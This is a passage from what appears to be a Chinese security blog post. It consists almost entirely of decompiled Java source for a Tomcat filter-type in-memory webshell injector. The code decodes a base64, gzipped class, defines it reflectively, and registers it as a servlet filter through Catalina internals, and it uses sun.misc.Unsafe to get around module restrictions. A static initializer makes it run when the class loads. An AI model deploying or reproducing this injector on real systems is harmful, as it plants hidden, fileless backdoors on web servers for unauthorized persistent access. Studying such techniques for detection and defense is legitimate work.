defineClass.setAccessible(true); Class clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); filter = clazz.newInstance(); } catch (Throwable var8) { byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String2())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); defineClass.setAccessible(true); Class clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); filter = clazz.newInstance(); } } return filter; } public String getFilterName(String className) { if (className.contains(".")) { int lastDotIndex = className.lastIndexOf("."); return className.substring(lastDotIndex + 1); } else { return className; } } public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException { ClassLoader catalinaLoader = this.getCatalinaLoader(); String filterClassName = this.getClassName(); String filterName = this.getFilterName(filterClassName); try { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) { return; } } catch (Exception var16) { } Object filterDef; Object filterMap; try { filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); } catch (Exception var15) { try { filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); } catch (Exception var14) { filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance(); filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance(); } } try { invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); Constructor[] constructors; try { invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()}); constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); } catch (Exception var12) { invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()}); constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors(); } try { invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); } catch (Exception var11) { invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); } constructors[0].setAccessible(true); Object filterConfig = constructors[0].newInstance(context, filterDef); Map filterConfigs = (Map)getFV(context, "filterConfigs"); filterConfigs.put(filterName, filterConfig); } catch (Exception var13) { var13.printStackTrace(); } } public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Thread[] threads = (Thread[])((Thread[])invokeMethod(Thread.class, "getThreads")); ClassLoader catalinaLoader = null; for(int i = 0; i < threads.length; ++i) { if (threads[i].getName().contains("ContainerBackgroundProcessor")) { catalinaLoader = threads[i].getContextClassLoader(); break; } } return catalinaLoader; } static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class decoderClass; try { decoderClass = Class.forName("sun.misc.BASE64Decoder"); return (byte[])((byte[])decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str)); } catch (Exception var4) { decoderClass = Class.forName("java.util.Base64"); Object decoder = decoderClass.getMethod("getDecoder").invoke((Object)null); return (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str)); } } public static byte[] gzipDecompress(byte[] compressedData) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); ByteArrayInputStream in = new ByteArrayInputStream(compressedData); GZIPInputStream ungzip = new GZIPInputStream(in); byte[] buffer = new byte[256]; int n; while((n = ungzip.read(buffer)) >= 0) { out.write(buffer, 0, n); } return out.toByteArray(); } static Object getFV(Object obj, String fieldName) throws Exception { Field field = getF(obj, fieldName); field.setAccessible(true); return field.get(obj); } static Field getF(Object obj, String fieldName) throws NoSuchFieldException { Class<?> clazz = obj.getClass(); while(clazz != null) { try { Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); return field; } catch (NoSuchFieldException var4) { clazz = clazz.getSuperclass(); } } throw new NoSuchFieldException(fieldName); } static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); } public static synchronized Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class clazz = obj instanceof Class ? (Class)obj : obj.getClass(); Method method = null; Class tempClass = clazz; while(method == null && tempClass != null) { try { if (paramClazz == null) { Method[] methods = tempClass.getDeclaredMethods(); for(int i = 0; i < methods.length; ++i) { if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { method = methods[i]; break; } } } else { method = tempClass.getDeclaredMethod(methodName, paramClazz); } } catch (NoSuchMethodException var11) { tempClass = tempClass.getSuperclass(); } } if (method == null) { throw new NoSuchMethodException(methodName); } else { method.setAccessible(true); if (obj instanceof Class) { try { return method.invoke((Object)null, param); } catch (IllegalAccessException var9) { throw new RuntimeException(var9.getMessage()); } } else { try { return method.invoke(obj, param); } catch (IllegalAccessException var10) { throw new RuntimeException(var10.getMessage()); } } } } public static void bypassModule(Class currentClass) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException { Class unsafeClass = Class.forName("sun.misc.Unsafe"); Field field = unsafeClass.getDeclaredField("theUnsafe"); field.setAccessible(true); Object unsafe = field.get(null); Object baseModule = Class.class.getMethod("getModule").invoke(Object.class); long offset = (long) invokeMethod(unsafe, "objectFieldOffset", new Class[]{Field.class}, new Object[]{Class.class.getDeclaredField("module")}); invokeMethod(unsafe, "putObject", new Class[]{Object.class, long.class, Object.class}, new Object[]{currentClass, offset, baseModule}); } static { new TomcatFilterMemShell(); } }

本文作者:chi11i

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!